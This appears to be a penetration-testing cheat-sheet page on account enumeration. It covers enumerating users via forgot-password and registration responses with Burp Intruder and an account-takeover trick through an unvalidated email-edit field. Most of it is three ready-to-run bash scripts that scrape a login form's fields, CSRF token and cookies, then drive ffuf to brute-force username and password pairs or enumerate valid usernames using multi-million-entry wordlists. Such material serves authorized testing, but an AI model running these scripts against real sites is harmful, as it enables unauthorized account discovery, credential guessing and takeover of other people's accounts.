Account Enumeration
Check List
Methodology
Black Box
Account enumeration via the “Forgot Password”
Another common method used on many websites, especially for password reset, works like this
When you click on Forgot Password the site asks for your email or phone number If the email or phone number belongs to a registered user, the site sends a reset link or a message But if the email or number isn't in the system, it shows a message stating that it's not registered
Account enumeration via the registration flow
Enter the registration process in the system and use the Burp Suite tool to track requests and use a test and duplicate email
During the registration process, if a duplicate email is used, the system will display the message "Email Already Exists". This message means that there is an enumeration vulnerability that can reveal a large list of valid users and emails How can we create a list of accounts? Request an interception, click on the email field with Burp Suite, and press Ctrl + I to save it in the Intruder field. In the Payload tab, Set the attack type to Sniper and provide the list of emails. Using the server response that indicates "Email already exists" or any other response, we set the value in the system response within the Grep-match settings, which allows us to understand the output more accurately and find valid accounts
Next, go to the profile editing section where you can edit your name, email, and mobile number. However, the important point here is that if the email is inactive or grayed out, you should track the request and check whether it will still be sent despite the email being inactive
By testing the email edit section, if the system accepts the requested emails as unvalidated, you can enter a valid email using the list of accounts obtained in the Account Enumeration vulnerability
The system accepts valid emails without validation, recognizes them as active emails, and logs us into the valid email profile (i.e., logging into the user account)
White Box
Cheat Sheet
Status Code
sudo nano sc-user-enum.sh#!/bin/bash
# Check if URL is provided
if [ $# -eq 0 ]; then
echo "Usage: $0 <domain.com/login> <userlist.txt> <passlist.txt>"
exit 1
fi
URL="$1"
USERLIST="$2"
PASSLIST="$3"
# Fetch login page HTML
HTML=$(curl -s "$URL")
# Extract the first form block (up to </form>)
FORM=$(echo "$HTML" | sed -n '/<form/,/<\/form>/p' | head -n 50)
# Extract form action attribute (default to "/")
ACTION=$(echo "$FORM" | grep -oEi 'action="[^"]*"' | head -1 | cut -d'"' -f2)
if [ -z "$ACTION" ]; then
ACTION="/"
fi
# Extract form method (default to GET)
METHOD=$(echo "$FORM" | grep -oEi 'method="[^"]+"' | head -1 | cut -d'"' -f2 | tr '[:upper:]' '[:lower:]')
if [ -z "$METHOD" ]; then
METHOD="get"
fi
# Construct full action URL
if [[ "$ACTION" == /* ]]; then
BASE_URL=$(echo "$URL" | sed 's|^\(https\?://[^/]*\).*|\1|')
FULL_ACTION="${BASE_URL}${ACTION}"
elif [[ "$ACTION" =~ ^https?:// ]]; then
FULL_ACTION="$ACTION"
else
# Relative path without starting slash
BASE_URL=$(echo "$URL" | sed 's|\(https\?://.*/\).*|\1|')
FULL_ACTION="${BASE_URL}${ACTION}"
fi
# Extract username and password input field names
USERNAME_FIELD=$(echo "$FORM" | grep -oEi '<input[^>]*name="[^"]+"' | grep -Ei 'user|username|login|email' | head -1 | sed -E 's/.*name="([^"]+)".*/\1/')
PASSWORD_FIELD=$(echo "$FORM" | grep -oEi '<input[^>]*name="[^"]+"' | grep -Ei 'pass|password|pwd' | head -1 | sed -E 's/.*name="([^"]+)".*/\1/')
# Set defaults if extraction failed
if [ -z "$USERNAME_FIELD" ]; then USERNAME_FIELD="username"; fi
if [ -z "$PASSWORD_FIELD" ]; then PASSWORD_FIELD="password"; fi
# Extract CSRF token or similar hidden field (e.g., csrfToken, _token, nonce)
CSRF_FIELD=$(echo "$FORM" | grep -oiP '<input[^>]+name="\K[^"]*(csrf|token|nonce)[^"]*' | head -1)
CSRF_VALUE=""
if [ -n "$CSRF_FIELD" ]; then
CSRF_VALUE=$(echo "$FORM" | grep -oiP "<input[^>]+name=\"$CSRF_FIELD\"[^>]*>" | grep -oiP 'value="\K[^"]+')
fi
# Prepare payload data for fuzzing
DATA="${USERNAME_FIELD}=FUZZ1&${PASSWORD_FIELD}=FUZZ2"
if [ -n "$CSRF_FIELD" ] && [ -n "$CSRF_VALUE" ]; then
DATA="${CSRF_FIELD}=${CSRF_VALUE}&${DATA}"
fi
# Extract cookies - extract only name=value for each Set-Cookie
COOKIES=$(curl -s -I "$URL" | grep -i '^Set-Cookie:' | sed -E 's/^Set-Cookie: //I')
# Build headers array
HEADERS=(
-H "Content-Type: application/x-www-form-urlencoded"
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0"
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
-H "Accept-Language: en-US,en;q=0.5"
-H "Accept-Encoding: gzip, deflate"
-H "Connection: keep-alive"
-H "Upgrade-Insecure-Requests: 1"
-H "Referer: $URL"
)
# Add cookies header if found
if [ -n "$COOKIES" ]; then
HEADERS+=(-H "Cookie: $COOKIES")
fi
# Run ffuf with constructed parameters
if [[ "$METHOD" == "get" ]]; then
FFUF_URL="${FULL_ACTION}?${DATA}"
ffuf -u "$FFUF_URL" \
-w "$USERLIST:FUZZ1" \
-w "$PASSLIST:FUZZ2" \
-X GET \
-ac -c -r \
-mc 200 \
"${HEADERS[@]}"
else
ffuf -u "$FULL_ACTION" \
-w "$USERLIST:FUZZ1" \
-w "$PASSLIST:FUZZ2" \
-X POST \
-d "$DATA" \
-ac -c -r \
-mc 200 \
"${HEADERS[@]}"
fisudo chmod +x sc-user-enum.sh;sudo ./sc-user-enum.sh $WEBSITE/login \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txtError Message
sudo nano em-user-enum.sh#!/bin/bash
# Check if URL is provided
if [ $# -eq 0 ]; then
echo "Usage: $0 <domain.com/login> <userlist.txt> <passlist.txt>"
exit 1
fi
URL="$1"
USERLIST="$2"
PASSLIST="$3"
# Fetch login page HTML
HTML=$(curl -s "$URL")
# Extract the first form block (up to </form>)
FORM=$(echo "$HTML" | sed -n '/<form/,/<\/form>/p' | head -n 50)
# Extract form action attribute (default to "/")
ACTION=$(echo "$FORM" | grep -oEi 'action="[^"]*"' | head -1 | cut -d'"' -f2)
if [ -z "$ACTION" ]; then
ACTION="/"
fi
# Extract form method (default to GET)
METHOD=$(echo "$FORM" | grep -oEi 'method="[^"]+"' | head -1 | cut -d'"' -f2 | tr '[:upper:]' '[:lower:]')
if [ -z "$METHOD" ]; then
METHOD="get"
fi
# Construct full action URL
if [[ "$ACTION" == /* ]]; then
BASE_URL=$(echo "$URL" | sed 's|^\(https\?://[^/]*\).*|\1|')
FULL_ACTION="${BASE_URL}${ACTION}"
elif [[ "$ACTION" =~ ^https?:// ]]; then
FULL_ACTION="$ACTION"
else
# Relative path without starting slash
BASE_URL=$(echo "$URL" | sed 's|\(https\?://.*/\).*|\1|')
FULL_ACTION="${BASE_URL}${ACTION}"
fi
# Extract username and password input field names
USERNAME_FIELD=$(echo "$FORM" | grep -oEi '<input[^>]*name="[^"]+"' | grep -Ei 'user|username|login|email' | head -1 | sed -E 's/.*name="([^"]+)".*/\1/')
PASSWORD_FIELD=$(echo "$FORM" | grep -oEi '<input[^>]*name="[^"]+"' | grep -Ei 'pass|password|pwd' | head -1 | sed -E 's/.*name="([^"]+)".*/\1/')
# Set defaults if extraction failed
if [ -z "$USERNAME_FIELD" ]; then USERNAME_FIELD="username"; fi
if [ -z "$PASSWORD_FIELD" ]; then PASSWORD_FIELD="password"; fi
# Extract CSRF token or similar hidden field (e.g., csrfToken, _token, nonce)
CSRF_FIELD=$(echo "$FORM" | grep -oiP '<input[^>]+name="\K[^"]*(csrf|token|nonce)[^"]*' | head -1)
CSRF_VALUE=""
if [ -n "$CSRF_FIELD" ]; then
CSRF_VALUE=$(echo "$FORM" | grep -oiP "<input[^>]+name=\"$CSRF_FIELD\"[^>]*>" | grep -oiP 'value="\K[^"]+')
fi
# Prepare payload data for fuzzing
DATA="${USERNAME_FIELD}=FUZZ1&${PASSWORD_FIELD}=FUZZ2"
if [ -n "$CSRF_FIELD" ] && [ -n "$CSRF_VALUE" ]; then
DATA="${CSRF_FIELD}=${CSRF_VALUE}&${DATA}"
fi
# Extract cookies - extract only name=value for each Set-Cookie
COOKIES=$(curl -s -I "$URL" | grep -i '^Set-Cookie:' | sed -E 's/^Set-Cookie: //I')
# Build headers array
HEADERS=(
-H "Content-Type: application/x-www-form-urlencoded"
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0"
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
-H "Accept-Language: en-US,en;q=0.5"
-H "Accept-Encoding: gzip, deflate"
-H "Connection: keep-alive"
-H "Upgrade-Insecure-Requests: 1"
-H "Referer: $URL"
)
# Add cookies header if found
if [ -n "$COOKIES" ]; then
HEADERS+=(-H "Cookie: $COOKIES")
fi
# Run ffuf with constructed parameters
if [[ "$METHOD" == "get" ]]; then
FFUF_URL="${FULL_ACTION}?${DATA}"
ffuf -u "$FFUF_URL" \
-w "$USERLIST:FUZZ1" \
-w "$PASSLIST:FUZZ2" \
-X GET \
-ac -c -r \
-mc 200 \
-fr "invalid username|invalid password|login failed|authentication failed|unauthorized|access denied| نام کاربری یا رمز عبور معتبر نیست" \
"${HEADERS[@]}"
else
ffuf -u "$FULL_ACTION" \
-w "$USERLIST:FUZZ1" \
-w "$PASSLIST:FUZZ2" \
-X POST \
-d "$DATA" \
-ac -c -r \
-mc 200 \
-fr "invalid username|invalid password|login failed|authentication failed|unauthorized|access denied| نام کاربری یا رمز عبور معتبر نیست" \
"${HEADERS[@]}"
fisudo chmod +x em-user-enum.sh;sudo ./em-user-enum.sh $WEBSITE/login \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txtNonexistent Username
sudo nano nu-user-enum.sh#!/bin/bash
# Check if URL is provided
if [ $# -eq 0 ]; then
echo "Usage: $0 <domain.com/login> <userlist.txt>"
exit 1
fi
URL="$1"
USERLIST="$2"
# Fetch login page HTML
HTML=$(curl -s "$URL")
# Extract the first form block (up to </form>)
FORM=$(echo "$HTML" | sed -n '/<form/,/<\/form>/p' | head -n 50)
# Extract form action attribute (default to "/")
ACTION=$(echo "$FORM" | grep -oEi 'action="[^"]*"' | head -1 | cut -d'"' -f2)
if [ -z "$ACTION" ]; then
ACTION="/"
fi
# Extract form method (default to GET)
METHOD=$(echo "$FORM" | grep -oEi 'method="[^"]+"' | head -1 | cut -d'"' -f2 | tr '[:upper:]' '[:lower:]')
if [ -z "$METHOD" ]; then
METHOD="get"
fi
# Construct full action URL
if [[ "$ACTION" == /* ]]; then
BASE_URL=$(echo "$URL" | sed 's|^\(https\?://[^/]*\).*|\1|')
FULL_ACTION="${BASE_URL}${ACTION}"
elif [[ "$ACTION" =~ ^https?:// ]]; then
FULL_ACTION="$ACTION"
else
# Relative path without starting slash
BASE_URL=$(echo "$URL" | sed 's|\(https\?://.*/\).*|\1|')
FULL_ACTION="${BASE_URL}${ACTION}"
fi
# Extract username and password input field names
USERNAME_FIELD=$(echo "$FORM" | grep -oEi '<input[^>]*name="[^"]+"' | grep -Ei 'user|username|login|email' | head -1 | sed -E 's/.*name="([^"]+)".*/\1/')
PASSWORD_FIELD=$(echo "$FORM" | grep -oEi '<input[^>]*name="[^"]+"' | grep -Ei 'pass|password|pwd' | head -1 | sed -E 's/.*name="([^"]+)".*/\1/')
# Set defaults if extraction failed
if [ -z "$USERNAME_FIELD" ]; then USERNAME_FIELD="username"; fi
if [ -z "$PASSWORD_FIELD" ]; then PASSWORD_FIELD="password"; fi
# Extract CSRF token or similar hidden field (e.g., csrfToken, _token, nonce)
CSRF_FIELD=$(echo "$FORM" | grep -oiP '<input[^>]+name="\K[^"]*(csrf|token|nonce)[^"]*' | head -1)
CSRF_VALUE=""
if [ -n "$CSRF_FIELD" ]; then
CSRF_VALUE=$(echo "$FORM" | grep -oiP "<input[^>]+name=\"$CSRF_FIELD\"[^>]*>" | grep -oiP 'value="\K[^"]+')
fi
# Prepare payload data for fuzzing
DATA="${USERNAME_FIELD}=FUZZ1&${PASSWORD_FIELD}=Fakepassword1234"
if [ -n "$CSRF_FIELD" ] && [ -n "$CSRF_VALUE" ]; then
DATA="${CSRF_FIELD}=${CSRF_VALUE}&${DATA}"
fi
# Extract cookies - extract only name=value for each Set-Cookie
COOKIES=$(curl -s -I "$URL" | grep -i '^Set-Cookie:' | sed -E 's/^Set-Cookie: //I')
# Build headers array
HEADERS=(
-H "Content-Type: application/x-www-form-urlencoded"
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0"
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
-H "Accept-Language: en-US,en;q=0.5"
-H "Accept-Encoding: gzip, deflate"
-H "Connection: keep-alive"
-H "Upgrade-Insecure-Requests: 1"
-H "Referer: $URL"
)
# Add cookies header if found
if [ -n "$COOKIES" ]; then
HEADERS+=(-H "Cookie: $COOKIES")
fi
# Run ffuf with constructed parameters
if [[ "$METHOD" == "get" ]]; then
FFUF_URL="${FULL_ACTION}?${DATA}"
ffuf -u "$FFUF_URL" \
-w "$USERLIST:FUZZ1" \
-X GET \
-ac -c -r \
-mc 200 \
-mr "invalid username|user not found|unknown user|no such user|نام کاربری اشتباه|کاربر یافت نشد" \
"${HEADERS[@]}"
else
ffuf -u "$FULL_ACTION" \
-w "$USERLIST:FUZZ1" \
-X POST \
-d "$DATA" \
-ac -c -r \
-mc 200 \
-mr "invalid username|user not found|unknown user|no such user|نام کاربری اشتباه|کاربر یافت نشد" \
"${HEADERS[@]}"
fisudo chmod +x nu-user-enum.sh;sudo ./nu-user-enum.sh $WEBSITE/login \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txtLast updated